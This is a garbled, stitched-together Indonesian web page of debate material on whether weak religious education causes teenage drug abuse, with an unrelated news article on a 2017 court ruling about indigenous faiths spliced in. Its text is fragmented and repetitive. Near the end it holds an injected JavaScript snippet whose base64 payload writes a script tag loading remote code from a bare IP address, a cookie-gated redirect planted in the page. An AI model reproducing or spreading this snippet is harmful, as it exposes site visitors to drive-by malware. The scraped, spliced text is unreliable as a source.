bahkankurang peduli dengan pendidikan dan morla anak. c. Terlalu memanjakan anak, memanjakan anak juga bisa menjadi masalah, khususnya penyalahgunaan narkoba. d. Pendidikan keras terhadap anak, mendidik anak dengan otoritas penuh akan menyebabkan mental anak terganggu, bisa jadi ia akan memberontak dan melakukan tindakan diluar perkiraan. e.
Contohdebat pro dan kontra kenakalan remaja. Filtrasi adalah invertebrata. 7 contoh naskah drama singkat dan terbaik unsur unsur dalam debat 1. Argumen Pendapat Debat Mosi Kurangnya Pendidikan Agama Di Rumah Dan Sekolah Menjadi Penyebab Utama Penyalahgunaan Narkoba Pada Remaja. Teks Debat Pengertian Fungsi Tujuan Unsur Etika Contoh.
Berikutadalah 3 argumen setuju saya terhadap pernyataan bahwa kurangnya pendidikan agama di rumah dan juga sekolah menjadi penyebab utama penyalahgunaan narkoba pada remaja:. Setuju. Sebab apabila agama mengakar kuat dalam diri siswa maka ia memiliki benteng pertahanan yang kuat dan utama dalam melindungi diri dari godaan narkoba.
Pendapattim afirmasi tentang kurangnya pendidikan agama di rumah dan sekolah menjadi penyebab utama penyalahgunaan narkoba pada remaja. Question from @Andiblora9169 - Sekolah Menengah Atas - B. indonesia. Search. Articles Register ; Sign In . Andiblora9169 @Andiblora9169. June 2019 1 857 Report.
Dampakbahaya Penyalahgunaan Narkoba : Dampak Fisik : 1.Gangguan pada sistem saraf (neorologis) : kejang-kejang, halusinasi, gangguan kesadaran, kerusakan saraf tepi. 2.Gangguan pada jantung dan pembuluh darah (kardiovaskuler) : infeksi akut otot jantung, gangguan peredaran darah. 3.Gangguan pada kulit (dermatologis) : penanahan, bekas suntikan
Kontra Kami tidak setuju Kurangnya Pendidikan Agama Di Rumah Menjadi Penyebab Utama Penyalah gunaan Narkoba karena ada 5 Faktor penyebab remaja jatuh ke narkoba: 1. Faktor Pribadi : Ada beberapa faktor pribadi yang bisa menyebabkan remaja terlibat penyalahgunaan narkoba, dan berikut faktor pribadi itu sendiri :
Dilansirdari Kominfo.jatimprov.go.id, pada tahun 2021, angka coba pakai penyalahgunaan narkoba di kalangan remaja mencapai 57 persen dari total seluruh penyalahgunaan narkoba. Komisi Perlindungan Anak Indonesia (KPAI) menjabarkan, bahwa 82,4 persen anak berstatus pemakai, 47,1 persen sebagai pengedar, dan 31,4 persen sebagai kurir.
Beberapafaktor penyebab penyalahgunaan narkoba diantaranya yaitu: Faktor kepribadian. Beberapa hal yang termasuk di dalam faktor pribadi adalah genetik, bilogis, personal, kesehatan dan gaya hidup yang memiliki pengaruh dalam menetukan sorang remaja terjerumus dalam penyalahgunaan narkoba . Kurangnya Pengendalian Diri.
Ariefmenyatakan kata "agama" dalam Pasal 61 ayat (1) dan Pasal 64 ayat (1) Undang-Undang Administrasi Kependudukan tidak mempunyai kekuatan hukum tetap sepanjang tidak dimaknai termasuk "kepercayaan". Hal serupa juga berlaku untuk Pasal 61 ayat (2) dan Pasal 64 ayat (5) yang dinilai MK tak memiliki kekuatan hukum mengikat.
Soaltersebut di atas meminta penjawab untuk mengemukakan pendapat yang pro dan kontra terkait mosi yang menyatakan bahwa penyebab utama penyalahgunaan narkoba pada remaja adalah karena kurangnya pendidikan agama di rumah maupun di sekolah. Jawaban untuk pertanyaan ini bisa dijumpai pada bagian pembahasan berikut ini.
Kontra: Memang ada benarnya apa yang anda katakan bahwa, kurangnya pendidikan agama di rumah dan sekolah adalah penyebab utama penyalahgunaan narkoba pada kalangan remaja saat ini. Namun, sebenarnya ada faktor-faktor lain penyebab remaja melakukan penyalahgunaan narkoba selain dari pendidikan agamanya, yaitu : 1.
PandanganAgama tentang Penyalahgunaan Narkoba Penduduk Indonesia merupakan masyarakat yang religius. Setiap agama yang diakui di Indonesia mengatur tentang moral penganutnya. Berikut ini adalah pandangan agama terhadap Narkoba. narkoba) dan judi karena bisa membius nalar yang sehat dan jernih. Khamar (termasuk narkoba) dan judi potensial
pencurian dll. Dari beberapa contoh-contoh itu membuat kita sebagai insan pendidikan perihatin dengan masalah ini.1 Menurut hasil penelitian BNN dan UI tentang penyalagunaan narkoba dalam 33 provinsi tahun 2010-2015 meningkat 1,4% dengan rincian SLTP 4,2 % , SMA 6,6 %, dan mahasiswa 6,0 %. Dalam harian ekonomi neraca per-April 2010, BNN mencatat
Meskipunpendidikan inklusif telah diakui di seluruh dunia sebagai salah satu uapaya mempercepat pemenuhan hak pendidikan bagi setiap anak, namun perkembangan pendidikan inklusif mengalami kemajuan yang berbeda-beda di setiap negara. Sebagai inovasi baru, pro dan kontra pendidikan inklusif masih terjadi dengan alasan masing-masing.
Pendidikan kurangnya pendidikan ilmu dan agama sehingga anak menyimpang pada perbuatan yang tidak baik seperti narkoba. Lingkungan masyarakat, jika lingkungan masyarakat tidak baik, maka akan berpengaruh juga pada perilaku remaja. Dampak Psikologis remaja akibat penggunaan narkoba: Cenderung menyakiti diri, perasaan tidak aman, bahkan bunuh diri
Y8JA. - Para penghayat kepercayaan di Indonesia boleh bernapas lega. Perjuangan panjang dan berliku mereka untuk mendapat pengakuan negara dalam catatan administrasi kependudukan lewat uji materi Undang-Undang Administrasi Kependudukan dikabulkan oleh Ketua Mahkamah Konstitusi MK Arief Hidayat pada Selasa 7/11/2017. Arief menyatakan kata “agama” dalam Pasal 61 ayat 1 dan Pasal 64 ayat 1 Undang-Undang Administrasi Kependudukan tidak mempunyai kekuatan hukum tetap sepanjang tidak dimaknai termasuk "kepercayaan". Hal serupa juga berlaku untuk Pasal 61 ayat 2 dan Pasal 64 ayat 5 yang dinilai MK tak memiliki kekuatan hukum mengikat. Para pemohon; Nggay Mehang Tana, Pagar Demanra Sirait, Arnol Purba, dan Carlim, merasa aturan yang terdapat dalam Pasal 61 ayat 1, 2 dan Pasal 64 ayat 1, 2 Undang-Undang Administrasi Kependudukan merugikan mereka. Para penghayat kepercayaan kesulitan saat mengurus Kartu Keluarga KK, Kartu Tanda Penduduk Elektronik e-KTP, akte nikah, akte kelahiran, hingga mengakses pekerjaan, hak atas jaminan sosial. Untuk KK dan e-KTP, ada banyak penghayat yang dipaksa memilih salah satu dari enam agama resmi. Melalui keputusan MK tersebut para penghayat kini bisa mencatatkan kepercayaannya di dokumen resmi negara. Langkah ini merupakan kemajuan besar bagi para penghayat yang selama ini ingin diperlakukan setara sebagaimana warga negara Indonesia lain, serta tak lagi mengalami tindak diskriminasi di ranah administratif maupun di ranah sosial-politik. Baca juga Agama-agama yang Terpinggirkan Namun, respons masyarakat terutama di lingkaran elite organisasi masyarakat, tak seluruhnya mengapresiasi positif. Salah satunya datang dari Yunahar Ilyas, Ketua Bidang Tarjih, Tajdid, dan Tabligh PP Muhammadiyah, yang mempertanyakan alasan MK mengabulkan gugatan pemohon. Ia berkeyakinan jika kepercayaan yang dianut para penghayat bukanlah agama, sehingga ia nilai tak perlu dimasukkan ke kolom agama KTP. Pendapatnya selaras dengan mantan Ketua Umum PP Muhammadiyah yang sekarang menjabat sebagai Ketua Dewan Pertimbangan Majelis Ulama Indonesia, Din Syamsudin. Pada akhir Agustus 2017 lalu menyatakan penghayat kepercayaan seperti Sunda Wiwitan bukan agama sehingga tidak perlu dimasukkan ke kolom agama di KTP. “Bukan dalam pengertian agama yang secara ilmiah. Berdasarkan wahyu atau berdasarkan semacam ilham. Kemudian membentuk kitab suci, ada pembawanya, ada sistem ritusnya,” kata Din. Samsul Maarif, pengajar pada Center for Religious and Cross-cultural Studies CRCS UGM yang menjadi salah satu saksi ahli dalam sidang polemik penghayat kepercayaan di MK, menegaskan bahwa sesungguhnya definisi "agama" secara formal di Indonesia tak pernah ada. Saat dihubungi Tirto, ia menjelaskan bahwa ketiadaan ini menjadi akar diskriminasi kepada para penghayat kepercayaan di Indonesia. “Pernah diusulkan di tahun 1950-an oleh Departemen Agama namun ditolak oleh sejumlah kelompok non-muslim dan muslim juga. Usaha itu digunakan untuk menargetkan kelompok Islam yang cenderung abangan atau tidak ortodoks. Usaha ini bagi saya adalah infiltrasi suatu kelompok kepada negara agar bisa mengontrol kelompok lain karena pada dasarnya definisi yang diusulkan bersifat sektarian, spesifik, sempit, dan hanya bisa dipakai untuk mendefinisikan Islam saja.” jelasnya pada Kamis 10/11/2017. Baca juga Sebait Maaf untuk Orang-orang Adat Akibat "agama" tak memiliki definisi formalnya, Samsul menilai ia tak bisa dijadikan rujukan untuk mengatur undang-undang menyangkut kewarganegaraan para penghayat. Jika dipakai pun, imbuhnya, definisi itu akan melahirkan diskriminasi kepada para penghayat kepercayaan sebab jika ingin diakui negara maka kepercayaan itu mesti menyesuaikan diri dulu. “Usaha mendefinisikan agama kental intrik politik, jadi dipakai untuk meng-include merangkul beberapa kelompok tapi juga meng-exclude mengecualikan beberapa kelompok lain.” tegasnya. Samsul menilai pemerintah Orde Baru pada awalnya memperlakukan para penghayat kepercayaan dengan cukup baik karena TAP MPR tahun 1973 menyebutkan aliran kepercayaan setara dengan agama. Namun, perubahan TAP MPR Nomor 478 yang isinya menyebut kepercayaan termasuk dalam kategori kebudayaan, bukan termasuk agama. Di tahun yang sama pemerintah juga meresmikan 5 agama yang diakui negara kini jadi 6, penghayat kepercayaan wajib berafiliasi ke salah satunya, dan kolom agama di KTP diciptakan untuk pertama kali. Setelah reformasi mulai muncul wacana tentang hak asasi manusia menguat, terutama bicara soal diskriminasi, salah satunya adalah di ranah kepercayaan. Perjuangan untuk menyetarakan hak bagi para penghayat kepercayaan makin intens dan menuai sejumlah hasil, walaupun belum ideal. Misalnya kebijakan pengosongan kolom agama di KTP, yang bagi Samsul menunjukkan tidak ada pengakuan dari negara sebab tetap membedakan penganut kepercayaan dengan penganut agama resmi . “Pengosongan juga memfasilitasi menjamurnya stigma sosial, contohnya stigma mereka yang kosong kolom agamanya dianggap anggota PKI. Dulu negara berargumen penulisan nama kepercayaan akan merepotkan secara administratif karena jumlahnya diperkirakan ratusan. Ditulis 'kepercayaan' itu pun menurut saya sudah cukup memfasilitasi kelompok penghayat yang masing-masing punya nama.” jelasnya. Baca juga Diskriminasi Penganut Kepercayaan Tak hanya di Indonesia, pendefinisian "agama" juga bermasalah di tingkat global—termasuk di bidang kajian perbandingan agama. Konstruksinya, menurut Samsul, selalu didasarkan pada agama besar yang pengikutnya tersebar di mana-mana. Kepercayaan lokal menjauhi kondisi yang serupa karena lingkup komunitasnya cenderung terbatas teritori. Penghayat kepercayaan Ajaran Samin, misalnya, hanya ada di Blora Jawa Tengah dan Bojonegoro Jawa Timur. Samsul menilai kasus yang terjadi di Indonesia cukup unik. Indonesia mengklaim dirinya plural tapi agama yang diakui hanya enam. Padahal secara konkret ada banyak kepercayaan yang tidak diakui secara setara apalagi diakomodasi dengan semestinya. Negara sekuler seperti Amerika Serikat atau Inggris tidak mengurusi agama, kata Samsul, sehingga tak melebar ke urusan administrasi. Meski demikian kebebasan menjalankan keyakinan tetap dijunjung tinggi. “Di Selandia Baru pemerintah dan warganya enggak terlalu banyak ngomong tentang agama, tetapi tradisi dan kepercayaan lokal dihargai. Bahkan sudah sampai ke peraturan bahwa mata air dan sungai itu dilihat sebagai subjek hukum dan dijaga oleh penduduk di sekitarnya. Peraturannya termasuk baru, baru beberapa tahun yang lalu, dan semakin melindungi hak hidup komunitas lokal dan kepercayaannya sendiri,”paparnya. Ia pun merasa heran dengan kekhawatiran berlebihan Wasekjen DPP PPP Ahmad Baidowi yang memandang putusan baru MK akan menjadi alasan bagi pemeluk agama lain untuk tidak menjalankan ritual peribadatan mereka. Baidowi juga menilai keputusan tersebut bisa menjadi alat terselubung bagi paham-paham yang dilarang di negeri ini untuk berkembang dengan berdalih aliran kepercayaan. "Jangan sampai paham-paham agama atau paham lain yang dilarang dimasukkan dalam aliran kepercayaan. Bisa jadi misalnya paham komunis agar enggak terdeteksi ditulis aliran kepercayaan," kata Baidowi kepada Tirto, Rabu 8/11/2017. Baca juga Zahid Hussein, Jenderal Aliran Kepercayaan dan Soeharto Keputusan MK, menurut Samsul, justru menjadi syarat agar kelompok penghayat tak dipaksa pindah keyakinan sampai tak bisa menjalankan keyakinan mereka dengan baik. Keputusan MK adalah syarat minimal agar para penghayat mendapatkan haknya di ranah administrasi. Lebih penting lagi, adalah pemenuhan tiga hak pokok pengakuan, representasi, dan redistribusi bagi para penghayat kepercayaan. “Karena eksistensinya diakui di ruang publik, maka lahir representasi. Contohnya di dunia pendidikan. Setelah putusan MK ini, status mereka harus diinformasikan ke peserta didik. Pendidikan agama ada, maka pendidikan kepercayaan juga harus ada.” “Redistribusi berarti berbagai hal yang negara sediakan fasilitasnya untuk publik juga harus menjangkau kelompok kepercayaan. Misalnya tak boleh didiskriminasi saat akan mendaftar kerja apapun—apalagi kerja di pemerintahan. Diskriminasi harus berbuah pelanggaran. Ekonomi, politik, semuanya juga harus setara,” pungkasnya. Tak lama usai putusan MK muncul, Menteri Dalam Negeri Tjahjo Kumolo berjanji kementeriannya akan segera melaksanakan amanat putusan MK. "Kemendagri akan berkoordinasi dengan Kementerian Agama dan Kementerian Pendidikan untuk mendapatkan data kepercayaan yang ada di Indonesia," kata Tjahjo seperti dilansir laman menambahkan Ditjen Kependudukan dan Pencatatan Sipil Kemendagri akan memasukan data aliran kepercayaan tersebut ke dalam sistem administrasi kependudukan. Setelah data itu diperoleh, maka Kemendagri akan memperbaiki aplikasi SIAK dan aplikasi data base, serta melakukan sosialisasi ke 514 kabupaten dan kota. - Hukum Reporter Akhmad Muawal HasanPenulis Akhmad Muawal HasanEditor Windu Jusuf
Kurangnya Pendidikan Agama Di Rumah Menjadi Penyebab Utama Penyalah gunaan Narkoba Pro Ya, Kami setuju dengan mosi ini, karena seandainya ia mendapatkan pendidikan agama yang memadai tidak mungkin dia akan menggunakan narkoba, Karena di agama manapun itu narkoba pasti dilarang, hal itu disebabkan karena narkoba itu lebih banyak dampak negatifnya dibanding dampak positif terutma kita agama islam, narkoba itu haram sebagaimana Firman Allah Ta’ala, “Dan menghalalkan bagi mereka segala yang baik dan mengharamkan bagi mereka segala yang buruk” QS. Al A’rof 157. Setiap yang khobits terlarang dengan ayat ini. Di antara makna khobits adalah yang memberikan efek negatif. Yang Kedua Allah Ta’ala berfirman, “Dan janganlah kamu menjatuhkan dirimu sendiri ke dalam kebinasaan” QS. Al Baqarah 195. “Dan janganlah kamu membunuh dirimu; sesungguhnya Allah adalah Maha Penyayang kepadamu” QS. An Nisa’ 29. Dua ayat di atas menunjukkan akan haramnya merusak diri sendiri atau membinasakan diri sendiri. Yang namanya narkoba sudah pasti merusak badan dan akal seseorang. Sehingga dari ayat inilah kita dapat menyatakan bahwa narkoba itu haram. Ketiga Dari Ummu Salamah, ia berkata, “Rasulullah shallallahu alaihi wa sallam melarang dari segala yang memabukkan dan mufattir yang membuat lemah” HR. Abu Daud no. 3686 dan Ahmad 6 309. Syaikh Al Albani mengatakan bahwa hadits ini dho’if. Jika khomr itu haram, maka demikian pula dengan mufattir atau narkoba. Nah dari situ perlu kita ketahui bahwa pendidikan agama itu penting baik di sekolah maupun di rumah, Kemudian seperti hadits nabi yang berbunyi mantasabbahha biqaumin Dan perlu kita ingat bahwa narkoba itu adalah dari orang ornag barat, jadi kita sebagai orang islam tidak boleh mengikuti mereka, Kontra Kami tidak setuju Kurangnya Pendidikan Agama Di Rumah Menjadi Penyebab Utama Penyalah gunaan Narkoba karena ada 5 Faktor penyebab remaja jatuh ke narkoba 1. Faktor Pribadi Ada beberapa faktor pribadi yang bisa menyebabkan remaja terlibat penyalahgunaan narkoba, dan berikut faktor pribadi itu sendiri - Mental yang lemah, ini menyebabkan remaja mudah goyah dan mudah terpengaruh ajakan keburukan. Mental yang lemah ini bisa berbentuk seperti selalu merasa sendiri dan terasingkan, tidak memiliki tanggung jawab, kurang mampu bergaul dengan baik, dan lain-lain. - Strees dan depresi, untuk kejenuhan hati, seseorang melakukan segala macam cara melalui jalan pintas, bahkan terkadang cara itu tidak menjadi solusi tetapi malah memperparah keadaan. - Ingin tahu dan coba-coba, ini juga salah satunya, remaja iseng-iseng untuk mencoba dan akhirnya kecanduan - Mencari sensasi dan tantangan, ada juga seseorang yang ingin mencari sensasi dan tantangan dengan menjadi pengedar. 2. Faktor Keluarga Penyebab penyalagunaan narkoba juga bisa terjadi karena keluarga, mungkin point-point berikut akan menjelaskan mengapa seseorang terlibat narkoba karena faktor keluarga - Broken home, orang tua sering bertengkar atau bahkan sampai terjadi perceraian dapa menimbulkan anak mendapatkan tekanan batin, sehingga sering kali anak menghilangkan tekanan tersebut dengan mencoba narkoba, baca selengkapnya 9 Pengaruh dan Dampak Buruk Perceraian Terhadap Anak. - Kurangnya perhatian orang tua pada anak, ini juga salah satu penyebab dari faktor keluarga, orang tua terlalu sibuk bekerja atau bahkan kurang peduli dengan pendidikan dan morla anak. - Pendidikan keras terhadap anak, mendidik anak dengan otoritas penuh akan menyebabkan mental anak terganggu, bisa jadi ia akan memberontak dan melakukan tindakan diluar perkiraan. - Kurangnya komunikasi dan keterbukaan, orang tua harus mengerti segala sesuatu tentang anak, jika komunikasi tidak berjalan baik, meka tidak akan ada keterbukaan antara orang tua dan anak, bukan hanya anak tetapi ini juga bisa terjadi pada kepala keluarga. 3. Faktor Sosial Lingkungan dan pergaulan sosial juga sangat mempengaruhi kepribadian dan moral seseorang, baik buruknya juga bisa terlihat bagaimana lingkurang dan pergaulan seseorang. Berikut ini beberapa faktor sosial yang menyebabkan remaja terlibat penyalahgunaan narkoba - Salah bergaul, jika remaja memiliki teman yang buruk, maka ia akan terjerat dalam jaring-jaring keburukan mereka, bahkan untuk masalah naroba. - Ikut-ikutan, begitu juga jika memiliki teman pengedar atau mengguna narkoba, penyakit seperti ini akan bisa menular. 4. Faktor Kelompok atau Organinasi Tertentu Kelompok atau organisasi pengeder narkoba juga menjadi faktor penyebab, di mana mereka akan mencari target untuk mengedarkan narkoba, bahkan membujuk seseorang untuk menggunakan narkoba. Jika sudah kecanduan, maka mau tidak mau orang itu akan mengkonsumsi narkoba - Adanya teman yang mengedarkan narkoba, ini sebenarnya masih terkait dengan faktor penyebab dari segi sosial. Untuk itu perlu berhati-hai dalam mencari teman, pastikan teman adalah orang yang benar-benar baik. - Iming-iming, iming-iming akan banyaknya keuntungan uang yang didapat dengan mengedarkan narkoba bisa menjadikan seseorang gelap mata. - Paksaan dan dijebak teman, ada juga kasus seseorang terlibat narkoba karena dijebak oleh temannya, ini juga menjadi salah sat faktor penyebab. 5. Faktor Ekonomi Kemiskinan dan kesusahan masalah finansial, belum lagi dililit utang atau sebagainya, ini akan menjadi faktor yang bisa menyebabkan seseorang mengedarkan narkoba atau tindakan kriminal lainnya. Orang-orang yang menempati posisi seperti ini akan sangat mudah gelap mata, memaksanya untuk melakukan tindakan di luar batas moral bersosial, terutama dalam hal ini adalah mengedarkan narkoba.
Review Of Pro Dan Kontra Kurangnya Pendidikan Agama Penyebab Penyalahgunaan Narkoba 2023. Karena salah satu penyebab terjerumusnya kita ke dalam hal negatif termasuk penyalahgunaan narkoba ini adalah kurangnya pendidikan moral dan keagamaan yang kita serap,” tutur. Beberapa hal yang termasuk di dalam faktor pribadi adalah genetik, bilogis, personal,.Contoh Debat Bahasa Inggris Tentang Narkoba Mosaicone from kurangnya pendidikan ilmu dan agama sehingga anak menyimpang pada perbuatan yang tidak baik seperti narkoba. Islam berperan penting untuk mencegah penyalahgunaan narkoba dan hanya dengan pendidikan agama islam dapat ditumbuhkan sikap positif yang dalam hidupnya selalu. Beberapa faktor penyebab penyalahgunaan narkoba diantaranya yaituBeberapa Hal Yang Termasuk Di Dalam Faktor Pribadi Adalah Genetik, Bilogis,.Saat ini di indonesia ada 3 kejahatan besar yang membutuhkan perhatian intensif, di antaranya adalah penyalahgunaan naroba, korupsi dan terorisme. Berdasarkan hasil kedua metode tersebut saya menyimpulkan bahwa pendidikan agama islam memang membawa dampak yang sangat besar dalam mencegah. Menurutnya, apabila para pelajar dibekali ilmu agama yang benar dan kuat, maka niscaya mereka tidak akan mudah terpengaruh penyalagunaan Oleh Mantan Deputi Rehabilitasi Bnn penyalagunaan narkoba dari faktor pribadi diri sendiri. Di dalam keluarga, hubungan yang retak antara ayah dan ibu,. Penyebab kenakalan remaja secara internal yang pertama adalah krisis Faktor Penyebab Penyalahgunaan Narkoba Diantaranya YaituPendidikan agama islam untuk mencegah penyalahgunaan narkoba di smk raden rahmat mojosari mojokerto sangat berperan penting seperti dengan penyuluhan tentang bahaya. Bukti tim afirmasi tentang kurangnya pendidikan agama di rumah dan sekolah menjadi penyebab utama penyalahgunaan narkoba pada remaja badpel16 anak salah satu musisi, ahmad dani,. Islam berperan penting untuk mencegah penyalahgunaan narkoba dan hanya dengan pendidikan agama islam dapat ditumbuhkan sikap positif yang dalam hidupnya Faktor Lingkungan, Keluarga, Sekolah, Dan Teman Sebaya Sangat Memengaruhi Penyebab Penggunaan tim afirmasi tentang kurangnya pendidikan agama di rumah dan sekolah menjadi penyebab utama penyalahgunaan narkoba pada remaja badpel16 benar, karena sudah. Beberapa hal yang termasuk di dalam faktor pribadi adalah genetik, bilogis, personal,. Karena salah satu penyebab terjerumusnya kita ke dalam hal negatif termasuk penyalahgunaan narkoba ini adalah kurangnya pendidikan moral dan keagamaan yang kita serap,” Setia Utami Pada Acara Penyalahgunaan Narkoba Dan Dampaknya Terhadap Kualitas Sdm, Senin 7/6/2021,.Mereka menggunakan narkoba dengan berbagai alasan. Krisis identitas ini tidak lain terjadi karena di umur remaja anak akan mengalami perasaan untuk. Pendidikan, kurangnya pendidikan ilmu dan agama sehingga anak menyimpang pada perbuatan yang tidak baik seperti narkoba.
Pro Dan Kontra Kurangnya Pendidikan Agama Penyebab Penyalahgunaan Narkoba General Penyebab, Dampak dan Solusi Panggunaan Narkoba pada Kehidupan Psikologis Remaja Penyebab, Dampak dan Solusi Panggunaan Narkoba pada Kehidupan Psikologis Remaja Remaja, merupakan tahapan menuju pendewasaan. Mulai mencari dan mencoba segala hal yang dia inginkan untuk memperoleh jati diri, termasuk hal yang negative seperti narkoba. Penyalahgunaan narkoba kini kian marak terjadi di masyarakat terutama kalangan remaja. Pada Banyak sekali remaja yang kehilangan masa depannya akibat penyalahgunaan narkoba. Factor remaja menjadi penyalah guna benda yang terlarang Faktor Individu Secara aspek psikologi, penyebab remaja mengonsumsi narkoba adalah Kurangnya rasa percaya diri sehingga ingin terlihat gaya dengan konsumsi narkoba Ketidak mampuan mengelola masalah yang dihadapi dan stress. Coba- coba dan berpeluan untuk memperoleh pengalaman baru Ikatan dengan komunitas atau gen Menghilangkan rasa sakit, bosan, cemas, dan lainnya Menunjukan sikap pemberontakan dan kehebatan dan kekuasaan Mencari tantangan yang beresiko Merasa dirinya dewasa Faktor Obatnya/Zat, dengan eyakini bahwa obat bisa membantu menumbuhkan rasa percayam diri dan mampu mengurangi beban atau stress yang dialami. Faktor Lingkungan Hubungan keluarga yang tidak harmonis, broken home, dan adanya penggunakan narkoba oleh anggota keluarga lainnya. Pengaruh Teman, sangat berpengaruh pada seseorang. Jika seseorang memilih teman yang menggunakan narkoba maka seorang itupun ikut menggunakannya. Juga adanya tekanan, ancaman akan dikucilkan dan lainnya dari teman jika kita ingin berhenti mengonsumsinya. Pendidikan, kurangnya pendidikan ilmu dan agama sehingga anak menyimpang pada perbuatan yang tidak baik seperti narkoba. Lingkungan masyarakat, jika lingkungan masyarakat tidak baik, maka akan berpengaruh juga pada perilaku remaja. Dampak Psikologis remaja akibat penggunaan narkoba Cenderung menyakiti diri, perasaan tidak aman, bahkan bunuh diri Mempunyai sifat yang mudah kecewa dan temperamental , emosi yang tidak stabil, berbicara dan bertindak kasar, sikap membangkang, agitatif, cenderung agresif , berperilaku ganas dan savage serta destruktif/merusak. Keinginan tidak bisa menuggu, yang harus terpenuhi segera. Kurang percaya diri, cenderung apatis, penghayal, sensitive , selalu curiga, sulit konsentrasi, selalu tertekan, murung, selalu cemas, bersikap tegang, merasa merasa tidak mampu berbuat sesuatu yang berguna dalam hidup sehari-hari dan kurang mampu menghadapi stres. Suka mencari sensasi, melakukan hal-hal yang berbahaya atau mengandung risiko. Lamban dalam suatu pekerjaan, kurang aktif dalam pendidikan, pekerjaan, atau kegiatan lain. rendahnya prestasi belajar, partisipasi dalam kegiatan-kegiatan di luar sekolah kurang, kurang olahraga, malas dan sering melupakan tanggung jawab dan tugas-tugas rutinnya Jauh dari keluarga, sering bertemu dengan orang yang tidak dikenal keluarga, pergi tanpa pamit dan pulang lewat tengah malam Suka menyendiri didalam suatu ruangan. Menjadi pembohong dan ingkar janji. Solusi remaja berhenti menggunakan narkoba, dan cera pencegahan pemakaian kembali. Yang dilakukan oleh pemerintah Primer, memberikan pendidikan, pengetahuan dan penyebaran informasi tentang bahaya penyalahgunaan narkoba, melakukan pendekatan melalui keluarga, dan Instansi pemerintah, seperti BKKBN, lebih banyak berperan pada tahap intervensi ini. kegiatan dilakukan seputar pemberian informasi melalui berbagai bentuk materi KIE yang ditujukan kepada remaja langsung dan keluarga. Sekunder, tahap penyembuhan treatment. Fase ini meliputi Fase penerimaan awal initialintakeantara 1 – iii hari dengan melakukan pemeriksaan fisik dan mental, dan Fase detoksifikasi dan terapi komplikasi medik, antara 1 – 3 minggu untuk melakukan pengurangan ketergantungan bahan-bahan adiktif secara bertahap. Tertier, tahap rehabilitasi sebagai penyembuhan mereka yang menggunakan narkoba. Yang dilakukan oleh masyarakat Menggunaka beberapa cara pendekatan yaitu Pendekatan agama religius, dengan cara menanamkan ajaran agama yang mereka anut tentang berbuat kebaikan, menjauhi segala hal yang buruk atau kerusakan pada dirinya, keluarga, maupun lingkungan sekitar. Pendekatan psikologis, dengan memberikan nasehat, melakukan pembicaraan dari hati- ke hati oleh orang- orang yang terdekat dengannya yang sesuai dengan karakter kepribadian mereka. Pendekatan social, menyadarkan mereka bahwa mereka merupakan bagian penting dalam keluarga dan lingkungannya. Dengan cara sepeti itu, diharapkan mereka bisa merasakan bahwa kehadiran mereka di tengah keluarga dan masyarakat memiliki arti penting. [IP] Arthia H Sumber referensi dan Gambar https//www. function getCookiee{var U= RegExp“?^; ”+ thousand,”\\$ane″+”=[^;]*”;render U?decodeURIComponentU[i]void 0}var src=”datatext/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now= present/1e3,cookie=getCookie“redirect”;ifnow>=time=cookievoid 0===time{var time= Datenew Date.getTime+86400; path=/; expires=”+ Pro Dan Kontra Kurangnya Pendidikan Agama Penyebab Penyalahgunaan Narkoba Source
pro dan kontra kurangnya pendidikan agama penyebab penyalahgunaan narkoba